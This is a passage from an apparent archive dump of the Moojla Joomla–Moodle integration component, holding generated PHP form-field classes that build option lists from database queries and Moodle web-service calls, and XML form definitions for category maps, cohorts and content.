$query->from($db->quoteName('#__moojla_user_map',
'a'));
$query->join('inner',$db->quoteName('#__moojla_enrolment',
'e').' on
'.$db->quoteName('a.jid').'='.$db->quoteName('e.jid'));
$query->join('inner',$db->quoteName('#__users',
'u').' on
'.$db->quoteName('a.jid').'='.$db->quoteName('u.id'));
$query->where($db->quoteName('e.role') . ' =
'.$db->quote($role));
$query->where($db->quoteName('a.published') . ' =
1');
$query->order('a.jid ASC');
$query->group('a.mid');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_moojla'))
{
$columns = $db->getTableColumns('#__moojla_user_map');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->mid,
$item->name);
}
}
return $options;
}
}
models/fields/muserfields.php000064400000006106151165724400012340
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage muserfields.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Muserfields Form Field class for the Moojla component
*/
class JFormFieldMuserfields extends JFormFieldList
{
/**
* The muserfields field type.
*
* @var string
*/
public $type = 'muserfields';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$fields = array ('firstname', 'lastname',
'email', 'icq', 'skype', 'yahoo',
'aim', 'msn', 'phone1', 'phone2',
'institution', 'department',
'address', 'city', 'country',
'lang', 'timezone', 'idnumber',
'description', 'lastnamephonetic',
'firstnamephonetic', 'middlename',
'alternatename');
$input = JFactory::getApplication()->input;
$id = $input->get('id', 0);
$options = array();
$options[] = JHtml::_('select.option', '',
'Select an option');
$items = array();
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$data = array(
"wsfunction" =>
"moojla_get_custom_fields",
"moodlewsrestformat" => "json",
);
$items =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('muserfields')));
$query->from($db->quoteName('#__moojla_user_field_map'));
$query->where($db->quoteName('id') . ' <>
' . $db->quote($id));
$query->where($db->quoteName('published') . ' =
1');
$db->setQuery($query);
$selectedbefore = $db->loadColumn();
foreach($fields as $field)
{
if(!in_array('sm_'.$field, $selectedbefore))
$options[] = JHtml::_('select.option',
'sm_'.$field, $field);
}
foreach($items as $item)
{
if(!in_array('cm_'.$item->id, $selectedbefore))
$options[] = JHtml::_('select.option',
'cm_'.$item->id, $item->name);
}
return $options;
}
}
models/fields/mycustomtemplatestyle.php000064400000006327151165724400014520
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage mycustomtemplatestyle.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Mycustomtemplatestyle Form Field class for the Moojla component
*/
class JFormFieldMycustomtemplatestyle extends JFormFieldList
{
/**
* The mycustomtemplatestyle field type.
*
* @var string
*/
public $type = 'mycustomtemplatestyle';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
$user = JFactory::getUser();
// Get the databse object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('a.id','a.title'),array('id','course_templatestyle_title')));
$query->from($db->quoteName('#__template_styles',
'a'));
$query->where($db->quoteName('a.client_id') . ' =
0');
$query->order('a.title ASC');
// Implement View Level Access (if set in table)
if (!$user->authorise('core.options',
'com_templates'))
{
$columns = $db->getTableColumns('#__template_styles');
if(isset($columns['access']))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
}
$db->setQuery((string)$query);
$items = $db->loadObjectList();
$options = array();
$tmp_op = array();
if ($items)
{
$first = current($items);
$lbl = explode(' - ',
$first->course_templatestyle_title)[0];
$options[] = JHtml::_('select.option', '',
JText::_('JOPTION_USE_DEFAULT'));
$groups = array();
foreach($items as $item)
{
$thislbl = explode(' - ',
$item->course_templatestyle_title)[0];
$groups[$thislbl][] = ['id' => $item->id,
'course_templatestyle_title' =>
$item->course_templatestyle_title];
}
foreach($groups as $gkey => $group)
{
$options[] = JHtmlSelect::optgroup($gkey);
foreach($group as $item)
{
$options[] = JHtml::_('select.option',
$item['id'], $item['course_templatestyle_title']);
}
$options[] = JHtmlSelect::optgroup($gkey);
}
////
}
return $options;
}
}
models/fields/sectionsfiltercourseid.php000064400000004631151165724400014612
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage sectionsfiltercourseid.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Sectionsfiltercourseid Form Field class for the Moojla component
*/
class JFormFieldSectionsfiltercourseid extends JFormFieldList
{
/**
* The sectionsfiltercourseid field type.
*
* @var string
*/
public $type = 'sectionsfiltercourseid';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('courseid'));
$query->from($db->quoteName('#__moojla_section'));
$query->order($db->quoteName('courseid') . '
ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_COURSEID') . '
-');
if ($results)
{
$results = array_unique($results);
foreach ($results as $courseid)
{
// Now add the courseid and its text to the options array
$_filter[] = JHtml::_('select.option', $courseid, $courseid);
}
}
return $_filter;
}
}
models/fields/shopintegration.php000064400000006653151165724400013242
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage shopintegration.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Shopintegration Form Field class for the Moojla component
*/
class JFormFieldShopintegration extends JFormFieldList
{
/**
* The shopintegration field type.
*
* @var string
*/
public $type = 'shopintegration';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get the user object.
?>
<script>
jQuery(document).ready(function($){
var shop_integration_val=
$('#jform_shop_integration').val();
$('#jform_shop_integration').on('change', function() {
var val= $(this).val()
$('#shop_integration_message').remove();
$.ajax({
url: 'index.php?option=com_moojla',
method: 'post',
data: {'shop_name':
val,'task':'ajax.shop_requirement','format':'json','raw':'true',
'token': '<?= JSession::getFormToken()?>'},
success: function(msg){
if (msg)
{
$('#jform_shop_integration').parents('.control-group').append('<div
style="padding: 10px 0;"
id="shop_integration_message"></div>')
msg.messages.each(function(value, index){
$('#shop_integration_message').append('<div
style="margin: 0;" class="alert
alert-'+value.class+'">'+value.message+'</div>');
})
}
}
})
});
})
</script>
<?php
$user = JFactory::getUser();
// Get the databse object.
JPluginHelper::importPlugin("moojlashopintegration");
$dispatcher = JEventDispatcher::getInstance();
$items = $dispatcher->trigger("getShopIntegrationName",
array());
$options = array();
$options[] = JHtml::_('select.option', '',
'Select an option');
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->id,
$item->shop_integration_name);
}
}
return $options;
}
}
models/fields/skyroommod.php000064400000004142151165724400012217
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage skyroommod.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Skyroommod Form Field class for the Moojla component
*/
class JFormFieldSkyroommod extends JFormFieldList
{
/**
* The skyroommod field type.
*
* @var string
*/
public $type = 'skyroommod';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
$user = JFactory::getUser();
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_get_plugins_of_type",
"moodlewsrestformat" => "json",
"type"=>"mod"
);
$items =
json_decode(moojlaHelper::sendRequestToMoodle($dataObj)->response);
$options = array();
if ($items)
{
foreach($items as $item)
{
$options[] = JHtml::_('select.option', $item->name ,
$item->name);
}
}
return $options;
}
}
models/fields/staffusers.php000064400000003676151165724400012214
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage staffusers.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('user');
/**
* Staffusers Form Field class for the Moojla component
*/
class JFormFieldStaffusers extends JFormFieldUser
{
/**
* The staffusers field type.
*
* @var string
*/
public $type = 'staffusers';
/**
* Method to get the filtering groups (null means no filtering)
*
* @return mixed array of filtering groups or null.
*
* @since 1.6
*/
protected function getGroups()
{
// set the groups array
$groups =
JComponentHelper::getParams('com_moojla')->get('staffusers');
return $groups;
}
/**
* Method to get the users to exclude from the list of users
*
* @return mixed Array of users to exclude or null to to not exclude
them
*
* @since 1.6
*/
protected function getExcluded()
{
return null;
}
}
models/fields/userfieldsmapfilteriscv.php000064400000005103151165724400014750
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage userfieldsmapfilteriscv.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');
/**
* Userfieldsmapfilteriscv Form Field class for the Moojla component
*/
class JFormFieldUserfieldsmapfilteriscv extends JFormFieldList
{
/**
* The userfieldsmapfilteriscv field type.
*
* @var string
*/
public $type = 'userfieldsmapfilteriscv';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*/
protected function getOptions()
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Select the text.
$query->select($db->quoteName('iscv'));
$query->from($db->quoteName('#__moojla_user_field_map'));
$query->order($db->quoteName('iscv') . ' ASC');
// Reset the query using our newly populated query object.
$db->setQuery($query);
$results = $db->loadColumn();
$_filter = array();
$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_CV') . '
-');
if ($results)
{
// get user_fields_mapmodel
$model = MoojlaHelper::getModel('user_fields_map');
$results = array_unique($results);
foreach ($results as $iscv)
{
// Translate the iscv selection
$text = $model->selectionTranslation($iscv,'iscv');
// Now add the iscv and its text to the options array
$_filter[] = JHtml::_('select.option', $iscv,
JText::_($text));
}
}
return $_filter;
}
}
models/forms/category_map.xml000064400000012346151165724400012364
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_CATEGORY_MAP_CREATED_DATE_LABEL"
description="COM_MOOJLA_CATEGORY_MAP_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_CATEGORY_MAP_CREATED_BY_LABEL"
description="COM_MOOJLA_CATEGORY_MAP_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_CATEGORY_MAP_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_CATEGORY_MAP_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_CATEGORY_MAP_MODIFIED_BY_LABEL"
description="COM_MOOJLA_CATEGORY_MAP_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_CATEGORY_MAP_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_CATEGORY_MAP_VERSION_LABEL"
description="COM_MOOJLA_CATEGORY_MAP_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla category_map" />
<!-- Dynamic Fields.-->
<!-- Jcatid Field. Type: Text. (joomla)-->
<field type="text"
name="jcatid"
label="COM_MOOJLA_CATEGORY_MAP_JCATID_LABEL"
size="10"
maxlength="50"
description="COM_MOOJLA_CATEGORY_MAP_JCATID_DESCRIPTION"
class="text_area"
filter="INT" />
<!-- Mcatid Field. Type: Text. (joomla)-->
<field type="text"
name="mcatid"
label="COM_MOOJLA_CATEGORY_MAP_MCATID_LABEL"
size="10"
maxlength="50"
description="COM_MOOJLA_CATEGORY_MAP_MCATID_DESCRIPTION"
class="text_area"
filter="INT" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this category_map"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="category_map"
/>
</fieldset>
</form>models/forms/cohort.xml000064400000012170151165724400011203
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_COHORT_CREATED_DATE_LABEL"
description="COM_MOOJLA_COHORT_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_COHORT_CREATED_BY_LABEL"
description="COM_MOOJLA_COHORT_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_COHORT_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_COHORT_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_COHORT_MODIFIED_BY_LABEL"
description="COM_MOOJLA_COHORT_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_COHORT_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_COHORT_VERSION_LABEL"
description="COM_MOOJLA_COHORT_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla cohort" />
<!-- Dynamic Fields.-->
<!-- Mcohort Field. Type: Mcohort. (custom)-->
<field type="mcohort"
name="mcohort"
label="COM_MOOJLA_COHORT_MCOHORT_LABEL"
description="COM_MOOJLA_COHORT_MCOHORT_DESCRIPTION"
class="list_class"
multiple="false"
required="true"
button="false" />
<!-- Course_group Field. Type: Customusergroup.
(custom)-->
<field type="customusergroup"
name="course_group"
label="COM_MOOJLA_COHORT_COURSE_GROUP_LABEL"
description="COM_MOOJLA_COHORT_COURSE_GROUP_DESCRIPTION"
class="list_class"
button="true" />
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this cohort"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="cohort"
/>
</fieldset>
</form>models/forms/content.xml000064400000022747151165724400011372
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
addrulepath="/administrator/components/com_moojla/models/rules"
addfieldpath="/administrator/components/com_moojla/models/fields"
>
<fieldset name="details">
<!-- Default Fields.-->
<!-- Id Field. Type: Text (joomla)-->
<field name="id"
type="text"
class="readonly"
readonly="true"
label="JGLOBAL_FIELD_ID_LABEL"
description="JGLOBAL_FIELD_ID_DESC"
size="10"
default="0" />
<!-- Date Created Field. Type: Calendar (joomla)-->
<field name="created"
type="calendar"
label="COM_MOOJLA_CONTENT_CREATED_DATE_LABEL"
description="COM_MOOJLA_CONTENT_CREATED_DATE_DESC"
size="22"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Created Field. Type: User (joomla)-->
<field name="created_by"
type="user"
label="COM_MOOJLA_CONTENT_CREATED_BY_LABEL"
description="COM_MOOJLA_CONTENT_CREATED_BY_DESC" />
<!-- Published Field. Type: List (joomla)-->
<field name="published"
type="list"
label="JSTATUS">
<option
value="1">JPUBLISHED</option>
<option
value="0">JUNPUBLISHED</option>
<option
value="2">JARCHIVED</option>
<option
value="-2">JTRASHED</option>
</field>
<!-- Date Modified Field. Type: Calendar (joomla)-->
<field name="modified"
type="calendar"
class="readonly"
label="COM_MOOJLA_CONTENT_MODIFIED_DATE_LABEL"
description="COM_MOOJLA_CONTENT_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_CONTENT_MODIFIED_BY_LABEL"
description="COM_MOOJLA_CONTENT_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_CONTENT_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_CONTENT_VERSION_LABEL"
description="COM_MOOJLA_CONTENT_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla content" />
<!-- Dynamic Fields.-->
<!-- Contents_module_id Field. Type: Text.
(joomla)-->
<field type="text"
name="contents_module_id"
label="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL"
size="10"
maxlength="50"
default="Some text"
description="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="INT"
message="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_MESSAGE"
hint="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_HINT"
autocomplete="on" />
<!-- Type Field. Type: Text. (joomla)-->
<field type="text"
name="type"
label="COM_MOOJLA_CONTENT_TYPE_LABEL"
size="64"
maxlength="64"
default=""
description="COM_MOOJLA_CONTENT_TYPE_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="STRING"
message="COM_MOOJLA_CONTENT_TYPE_MESSAGE"
hint="COM_MOOJLA_CONTENT_TYPE_HINT"
autocomplete="on" />
<!-- Filename Field. Type: Text. (joomla)-->
<field type="text"
name="filename"
label="COM_MOOJLA_CONTENT_FILENAME_LABEL"
size="255"
maxlength="255"
default=""
description="COM_MOOJLA_CONTENT_FILENAME_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONTENT_FILENAME_MESSAGE"
hint="COM_MOOJLA_CONTENT_FILENAME_HINT"
autocomplete="on" />
<!-- Mimetype Field. Type: Text. (joomla)-->
<field type="text"
name="mimetype"
label="COM_MOOJLA_CONTENT_MIMETYPE_LABEL"
size="50"
maxlength="50"
default=""
description="COM_MOOJLA_CONTENT_MIMETYPE_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="STRING"
message="COM_MOOJLA_CONTENT_MIMETYPE_MESSAGE"
hint="COM_MOOJLA_CONTENT_MIMETYPE_HINT"
autocomplete="on" />
<!-- File Field. Type: Text. (joomla)-->
<field type="text"
name="file"
label="COM_MOOJLA_CONTENT_FILE_LABEL"
size="255"
maxlength="255"
default=""
description="COM_MOOJLA_CONTENT_FILE_DESCRIPTION"
class="text_area"
readonly="true"
disabled="true"
required="false"
filter="STRING"
message="COM_MOOJLA_CONTENT_FILE_MESSAGE"
hint="COM_MOOJLA_CONTENT_FILE_HINT"
autocomplete="on" />
<!-- Filesize Field. Type: Text. (joomla)-->
<field type="text"
name="filesize"
label="COM_MOOJLA_CONTENT_FILESIZE_LABEL"
size="255"
maxlength="255"
default="0"
description="COM_MOOJLA_CONTENT_FILESIZE_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="false"
filter="INT"
message="COM_MOOJLA_CONTENT_FILESIZE_MESSAGE"
hint="COM_MOOJLA_CONTENT_FILESIZE_HINT"
autocomplete="on" />
<!-- Fileurl Field. Type: Url. (joomla)-->
<field type="url"
name="fileurl"
label="COM_MOOJLA_CONTENT_FILEURL_LABEL"
size="255"
maxlength="255"
default=""
description="COM_MOOJLA_CONTENT_FILEURL_DESCRIPTION"
class="text_area"
relative="false"
filter="url"
validated="url"
scheme="http,https,mailto"
message="COM_MOOJLA_CONTENT_FILEURL_MESSAGE"
hint="COM_MOOJLA_CONTENT_FILEURL_HINT"
/>
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this content"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="content"
/>
</fieldset>
</form>models/forms/course.xml000064400000104614151165724400011212
